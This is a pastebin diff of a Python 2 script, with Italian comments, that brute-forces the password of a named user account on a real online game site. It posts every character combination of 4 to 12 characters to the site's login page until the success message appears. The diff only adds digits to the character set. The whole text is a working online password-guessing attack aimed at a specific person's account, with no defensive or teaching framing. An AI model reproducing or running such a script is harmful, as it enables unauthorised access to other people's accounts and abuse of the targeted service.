View difference between Paste ID: kV1cy3J9 and 8qe2iB6r
SHOW: | | - or go back to the newest paste.
1
# Importo la libreria che ci serve per la connessione http
2
import urllib
3
4
# Username di cui si vuole scoprire la password
5
username = "nooth"
6
7
# Pagina di action a cui rimanda il form di login
8
paginaLogin = "http://old.urban-rivals.com/?PHPSESSID=2b09dbe2123867a0cecbea1e0cbbbfe9"
9
10
# Messaggio di avvenuto login
11
messaggioDiAvvenutoLogin = "Login effettuato!"
12
13
# Lista dei caratteri possibili in una password.
14-
listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+"]
14+
listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"]
15
 
16
# Funzione che verifica se la password passata come parametro
17
# e' quella corretta e di conseguenza e' stata indovinata.
18
def testaPassword(password):
19
    print "Testando la password:", password
20
    
21
    # Invio i parametri da testare alla pagina di action (paginaLogin)
22
    parametriDaTestare = { "username" : username, "password" : password, "submit" : "1" }
23
    p= urllib.urlencode(parametriDaTestare)
24
    paginaDiAction = urllib.urlopen(paginaLogin, p)
25
26
    # Memorizzo la risposta della pagina di action nella variabile risultato
27
    risultato = paginaDiAction.read()
28
29
    # Controllo se la password e' corretta
30
    if messaggioDiAvvenutoLogin in risultato:
31
        print "Password trovata: ", password
32
        exit()
33
    else:
34
        return
35
   
36
# Qui bisogna supporre una lunghezza massima della password,
37
# ipotizziamo 12 caratteri.
38
# Stabiliamo anche una lunghezza minima: 4 caratteri. Di conseguenza
39
# da 4 caratteri in poi verra' testata la password (attraverso
40
# la funzione testaPassword).
41
for c1 in listaCaratteri:
42
    for c2 in listaCaratteri:
43
        for c3 in listaCaratteri:
44
            for c4 in listaCaratteri:
45
                psw = c1+c2+c3+c4   # La password da testare sara' composta dai caratteri
46
                                    # correnti ovvero c1, c2, c3, c4
47
                testaPassword(psw)
48
                for c5 in listaCaratteri:
49
                    psw = c1+c2+c3+c4+c5    # La password da testare sara' composta dai
50
                                            # caratteri correntiovvero c1, c2, c3, c4
51
                    testaPassword(psw)
52
                    for c6 in listaCaratteri:
53
                        psw = c1+c2+c3+c4+c5+c6
54
                        testaPassword(psw)
55
                        for c7 in listaCaratteri:
56
                            psw = c1+c2+c3+c4+c5+c6+c7
57
                            testaPassword(psw)
58
                            for c8 in listaCaratteri:
59
                                psw = c1+c2+c3+c4+c5+c6+c7+c8
60
                                testaPassword(psw)
61
                                for c9 in listaCaratteri:
62
                                    psw = c1+c2+c3+c4+c5+c6+c7+c8+c9
63
                                    testaPassword(psw)
64
                                    for c10 in listaCaratteri:
65
                                        psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10
66
                                        testaPassword(psw)
67
                                        for c11 in listaCaratteri:
68
                                            psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11
69
                                            testaPassword(psw)
70
                                            for c12 in listaCaratteri:
71
                                                psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12
72
                                                testaPassword(psw)